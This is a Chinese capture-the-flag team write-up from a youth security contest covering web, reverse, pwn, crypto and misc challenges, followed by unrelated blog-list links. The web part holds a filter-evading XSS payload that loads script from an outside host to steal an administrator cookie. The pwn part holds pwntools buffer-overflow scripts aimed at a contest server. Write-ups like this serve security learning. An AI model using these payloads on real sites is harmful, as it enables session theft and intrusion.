• [强网杯青少年专项赛] 惨惨战队WriteUp


    能受天磨真铁汉,不遭人嫉是庸才

    Web

    easy_php

    简单题,PHP黑魔法梭哈

    第一层 a1 a2 弱类型绕过

    第二层 b1 b2 数组绕过

    第三层 time 科学计数法绕过

    /?a1=240610708&a2=QNKCDZO&b1[]=1&b2[]=2&time=8e88

     签到

    打开后是kali的命令界面,一直回车得到flag

    easy_http

    先是以Get方式给fruit传值apple:

    然后再以Post方式给vegetable传值potapo:

    之后要求本地访问,直接利用X-Forwarded-For头绕过:

    最后要求身份证明这个也是非常脑洞的题目,secret其实是个迷雾,直接把Http_1s_W0nd3rful关键字添加到U-A头即可绕过最终数据包如下

    POST /?fruit=apple HTTP/1.1
    Host: eci-2zejaarzxxkx8pqk0lcy.cloudeci1.ichunqiu.com
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Http_1s_W0nd3rful
    X-Forwarded-For:127.0.0.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; browse=CFlaTxUYU0BaV1tCVQJTRFBZSkdeQ1lYWVtFR1dRW0VTUF5PW0VLTgBZXUNbQVxOGllZTFRTW0VbU0VFVlxbTElRWE9dRlNFWUFTCA; UM_distinctid=17438c3cfd544-084b5559307959-7d7f582e-1fa400-17438c3cfd72a; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1599213575,1599230970,1599234684,1599267160; ci_session=4d0653e1d49e44a2ee608a388cea4c1195a1ba76; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1599290610; __jsluid_h=0f528e9a32a83f24c021a258d97f97ca
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 16
    
    vegetable=potato

    XSS

    打开题目可以看到导航栏有三个地址,第一个是成绩查询的界面,输入姓名可以查询到成绩

    第二个是反馈页面可以提交站点的链接,管理员会自动打开查看,此处也就是XSS点。

    最后一个界面是Admin,打开是后台,应该是打到管理员cookie后伪造登录。

    这题考察的肯定是xss内容,直接测试成绩查询页面是否存在xss

    在成绩查询的输入口通过fuzz发现过滤了script

    利用双写加上大小写混淆就可以绕过,构造Payload如下:

    <scrsCrIptipt srC=//xs.sb/pQBd></scrisCRipTpt>

    得到反射型XSS Payload URL如下:

    http://eci-2ze8iaai2nr5l4ky7twq.cloudeci1.ichunqiu.com:8888/func2?csrf_token=IjA3MGE4YTc4MTU5MzcyNWY3MDkyNjUzMzEzZDlmMTY0NmM2NDA1ODci.X1NzPg.IndHPa7f4YNsJ-Mo-1gG5rOzwwU&name=%3CscrsCrIptipt+srC%3D%2F%2Fxs.sb%2FpQBd%3E%3C%2FscrisCRipTpt%3E&submit=Get+It%21

    访问后打到了自己的cookie信息,证明反射型xss是正常执行

    解题思路如下

    • 成绩查询页面构造反射型xss
    • 反馈界面将xss的地址提交,管理员会自动打开该地址
    • 成功打到cookie后修改cookie进入后台,然后获取flag

    在反馈界面提交xss地址

    这里有个坑,通过题目提示可以知道“/”就代表了host,所以不需要加前面的host,构造Payload如下

    /func2?csrf_token=IjA3MGE4YTc4MTU5MzcyNWY3MDkyNjUzMzEzZDlmMTY0NmM2NDA1ODci.X1NzPg.IndHPa7f4YNsJ-Mo-1gG5rOzwwU&name=%3CscrsCrIptipt+srC%3D%2F%2Fxs.sb%2FpQBd%3E%3C%2FscrisCRipTpt%3E&submit=Get+It%21

    打到管理员cookie

    修改cookie后访问Admin页面得到flag

    Re

    VM算法分析

    重要的处理部分是动态写进入的 我们也用IDA动态跟进去 F5反汇编

    int __cdecl sub_20000(int a1, int a2)
    {
      int result; // eax
      int i; // [esp+50h] [ebp-64h]
      int v4; // [esp+54h] [ebp-60h]
      int v5; // [esp+58h] [ebp-5Ch]
      int v6; // [esp+5Ch] [ebp-58h]
      int v7; // [esp+60h] [ebp-54h]
      int v8[20]; // [esp+64h] [ebp-50h]
    
    
      v4 = 0;
      v5 = 0;
      v6 = 0;
      v7 = 0;
      while ( 2 )
      {
        switch ( *(unsigned __int8 *)(v7 + a2) )
        {
          case 0xF0u:
            v8[v6++] = *(unsigned __int8 *)(v5 + a1);
            ++v7;
            continue;
          case 0xF1u:
            *(_BYTE *)(v5 + a1 - 1) = v8[--v6];
            ++v7;
            continue;
          case 0xF2u:
            v4 = v8[--v6];
            ++v7;
            continue;
          case 0xF3u:
            v4 += *(unsigned __int8 *)(v7 + a2 + 1);
            v7 += 2;
            continue;
          case 0xF4u:
            *(&v7 + v6) ^= v4;
            ++v7;
            continue;
          case 0xF5u:
            ++v5;
            ++v7;
            continue;
          case 0xF6u:
            if ( *(&v7 + v6) && *(&v7 + v6) != 10 )
              ++v7;
            else
              v7 += 3;
            continue;
          case 0xF7u:
            for ( i = 0; *(_BYTE *)(i + a1); ++i )
              ;
            result = v5;
            if ( v5 != i )
            {
              v7 = 0;
              continue;
            }
            return result;
          default:
            continue;
        }
      }
    }

    看着很复杂 把a2提出来是 [F0h,0F2h,0F3h,1,0F5h,0F0h,0F6h,0F4h,0F1h,0F7h]

    按着流程走 执行代码 a1[i] = ( a[i] + 1 ) ^ a[i+1]

    把最后的对照数据str2提取出来 逆向一下得到flag:

    f = open('a.in')
    s = f.readline()
    i = 0
    n = []
    while i < len(s):
        n.append(int(s[i:i+2],16))
        print int(s[i:i+2],16)
        i = i + 3
    
    
    for i in range(len(n)-1-1,-1,-1):
        n[i] = (n[i] ^ n[i+1] )-1
    flag = ''
    for i in range(len(n)):
        flag += chr(n[i])
    print flag

    Pwn

    加减乘除

    首先需要满足 12次以内 让其数值达到66 然后就是dword_40A0的值要非零 因为bss区域初始化是0 所以要修改 。发现驶入name也在bss且可以覆盖 这里的条件解决

    12次到达66 直接写脚本跑一跑就出来了:

    def dfs(n,dep,step):
        if flag:
            return
        if n == 66:
            print step
            exit(0)
        if dep == 12:
            return
        if n > 66:
            return
        dfs(3,dep+1,step+'a')
        dfs(n+4,dep+1,step+'b')
        dfs(n*7,dep+1,step+'c')
        dfs(n//5,dep+1,step+'d')
    dfs(0,0,'')

    因为自己的send和sendline都没有打通 干脆后面的处理就手动了

    from pwn import *
    # io = process('./pwn')
    io = remote('182.92.184.215',12345)
    name = 'A' * (0x409F - 0x4060 + 1) + p32(1)
    io.sendlineafter('start:',name)
    success('lxy')
    '''
    payload = 'abbdbcbbbbbb'
    for i in range(len(payload)):
        io.sendafter('> ',payload[i])
        sleep(0.1)
    '''
    io.interactive()

    URL

    有后门函数,只需要覆盖返回地址即可

    0x40 + 0x40 + 0x50 不够覆盖,但了解到strcat到性质 遇到''停止,所以可以构造一连串不带终止符到payload

    最开始用的是 0x40 + 0x39 + 0x4c + 'x99x12x40' 还是没法覆盖到ret_addr

    突然又忘记Input限制 第二部分没有按照0x40以内到字符要求 竟然打通了。。

    from pwn import*
    #io = process('./pwn')
    io = remote('182.92.184.215',34521)
    elf = ELF('./pwn')
    def lauch_gdb(io):
        context.log_level = 'debug'
        gdb.attach(io)
    #lauch_gdb(p)
    io.sendlineafter("(protocol):",'A'*0x39+'')
    io.sendlineafter("(domain):",'A'*0x45)
    io.sendlineafter("(path):",'A'*0x44+p64(0x401299))
    io.interactive()

    Crypto

    easy_Crypto

    先在线解密一下http://www.metools.info/code/c90.html

    加上符号就是 fpyitlyth__nsiaropiosengcgasstrg{r_e}

    根据提示信息 是一个栅栏加密 通过给的文本解密克可知每组数字为5

    跑了一下普通栅栏发现不对 跑W栅栏就出flag了

    flag{cryptography_is_so_insteresting

    base64

    给了原文本和加密文本 还有加密的flag 很可能是修改过table

    先让原文本正常加密,对应搞出替换后的table,这里因为字典不足,替换后的table部分缺失,先跑一下发现只有一处乱码

    替换后的table:LM#OPQRSTuvwxyz#VWXYZabcdefghi##lA#CDEFGHIJKmnopqrst012345#
    乱码的flag : flag{Mase64d1sdS0dF4nta5ticx91

    细心观察发现 flag的加密文本中只有字符 k 在替换后的table里面没有对应

    于是爆破一下k的位置 跑出flag

    import base64 
    table1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    table2 = []
    for i in range(64):
        table2.append('#')
    a = 'sadhlkj122i3upoi213456aABSADHKJHLKJSADSADJLKHUOIPQWUEYUGHJ123456789012233165410123123456789123709864hjklhfjldsnfzkpidjskljkamxcvmbcxamvbnm'
    en1 = 'c2FkaGxrajEyMmkzdXBvaTIxMzQ1NmFBQlNBREhLSkhMS0pTQURTQURKTEtIVU9JUFFXVUVZVUdISjEyMzQ1Njc4OTAxMjIzMzE2NTQxMDEyMzEyMzQ1Njc4OTEyMzcwOTg2NGhqa2xoZmpsZHNuZnprcGlkanNrbGprYW14Y3ZtYmN4YW12Ym5t'
    en2 = 'h2QDfRrKfCPsxFDticMpfYTrxtV1yFQMVEyMWPAwXDAxX0IYVZWYVZWvYPnTaZ9uZQQcaZaeaZiTXCPsxtV1yCh4zYLrxCTtxtP2yYVrxOPsxtPsxtV1yCh4zYPsxthqzYl2yRAJf2rHeFImeSyoeGIKhREDfGyKgRIKdb14d3endFy4db12dF5n'
    
    for i in range(len(en1)):
        for j in range(64):
            if table1[j] == en1[i]:
                table2[j] = en2[i]
                break
    s = 'eFrAe3nNdcyEyCWkxcykZtMkWCWoiRP1iRECkV=='
    #flag{Mase64_1s_S0_F4nta5tic}
    pl = []
    for i in range(64):
        if table2[i] == '#':
            pl.append(i)
    for i in range(len(pl)):
        #table2[pl[i]] = 'k'
        table = ''
        for j in range(64):
            table += table2[j]
        print(table)
        print (base64.b64decode(s.translate(str.maketrans(table,table1))))
        table2[pl[i]] = '#'

    这里得到的flag里面的单词为 Mase 改成 Base 就是正确flag

    简单算法

    签到题后发系列

    flag = ''
    a = [49, 60, 58, 53, 50, 107, 117, 63, 57, 107, 63, 109, 66, 137, 65, 119, 118, 128, 142, 118, 117, 118, 123, 147, 77, 126, 130, 124, 152, 80, 127, 134, 83, 87, 134, 87, 147, 148, 142, 95, 93, 85]
    for i in range(len(a)):
        flag += chr((a[i] - i - 1) ^ 86)
    print flag

    easy_feistel

    没什么好写的 就是一个纯逆向过程 有点绕 多调试改一改就出来了嘤嘤嘤

    import base64
    def F(M,K):
        M1 = []
        for i in range(16):
            tmp = ord(M[i])
            M1.append(chr((tmp >> 4) ^ tmp))
        K = list(K)
        for i in range(16):
            M1[i] = chr(ord(K[i]) ^ ord(M1[i]))
        M = list(M)
        Pe = [14,7,9,1,10,3,2,15,0,13,6,11,12,4,8,5]
        for i in range(16):
            M[Pe[i]] = M1[i]
        return  "".join(M)
    def round(M,K):
        newL = M[0:16]
        newR = M[16:32]
        L = F(newR,K)
        R = []
        for i in range(16):
            R.append(chr(ord(L[i])^ord(newL[i])))
        return "".join(L) + "".join(R)
    f = open('outfei2.txt')
    K = []
    for i in range(10):
        K.append(base64.b64decode(f.readline()[:-1]))
    M = base64.b64decode(f.readline()[:])
    for i in range(9,-1,-1):
        print i
        M = round(M,K[i])
    print M
    f.close()
    # flag{4b5b6e66-0fcc-405a-97ca-0}

    moss

    直接放网页解密https://tool.lu/ja_JP/morse/

    有提示小写 加上{}构成flag flag{mossisveryf4nty}

    Misc

    一切皆可视

    下载题目xml文件后,用编辑器打开发现snap!的官网: https://snap.berkeley.edu

    官网提供了在线IDE:https://snap.berkeley.edu/snap/snap.html

    打开IDE直接导入题目xml文件,可以看到重点在于解出开锁的key

    从源码可以看出来是异或加密,

    根据前面sercet的值,直接写脚本跑出key

    a = [92, 0, 74, 66, 116, 77, 126 ,69 ,17, 17, 102, 126 ,69 ,79 ,97 ,126, 18 ,76 ,17 ,98 ,16 ,77 ,18 ,86,90,70,64,77,71]
    flag = ''
    for i in range(len(a)):
        a[i] ^= 33
        flag += chr(a[i])
    print flag[::-1]

    Luo_Tianyi

    有点脑洞的图片隐写,研究了好久= =脑洞是真的有点大

    steghide提取文件,根据题目名称猜测秘钥是luotianyi

    提取出flag.txt,得到Flag:

    easy_pcap

    根据题目题干信息可以使用wireshark进行流量分析,打开数据包pcap格式数据包后发现很多的http协议,先过滤出HTTP协议类型的请求:

    通过分析发现是一句话后门的流量监控文件,发现一php文件名疑似是base编码

    base64解码,url解码得到flag

    git的谜底

    写字板打开,我不知道怎么想到的 可能是因为才装的的虚拟机没有vscode

    misc_made_up

    从题目的图片中用binwalk分离出来一个zip文件,密码123456(弱口令猜出来的= =)

    得到压缩包中的txt文档,发现里面有Tab和空格构成的内容,猜测是snow隐写,但是一直没有找到密钥,在这里卡了一晚上。

    根据hint给的java盲水印,然后在github上找到一个项目https://github.com/ww23/BlindWatermark

    用这个项目解出盲水印,得到密钥:

    snow隐写,密钥为PasS@wo_rd_here

    http://fog.misty.com/perry/ccs/snow/snow/snow.html解密得到Flag:

  • 相关阅读:
    解决无法进入安全模式
    解决SQLite找不到数据表的问题
    利用js的垃圾回收原理来理解闭包(Closure)问题
    《降级论》《按时交作业的学生何以常穿脏袜子》读后感
    ie6下出现“缺少标识符、字符串或者数字”
    两个想法
    WdatePicker.js帮助文档
    最近一直在研究网站的推广。。。
    这个。。。。我不知道说什么。。。
    今天忽然发现,最近做的网站的一个目标关键字已经实现了。。。
  • 原文地址:https://www.cnblogs.com/yesec/p/13656396.html
Copyright © 2020-2023  润新知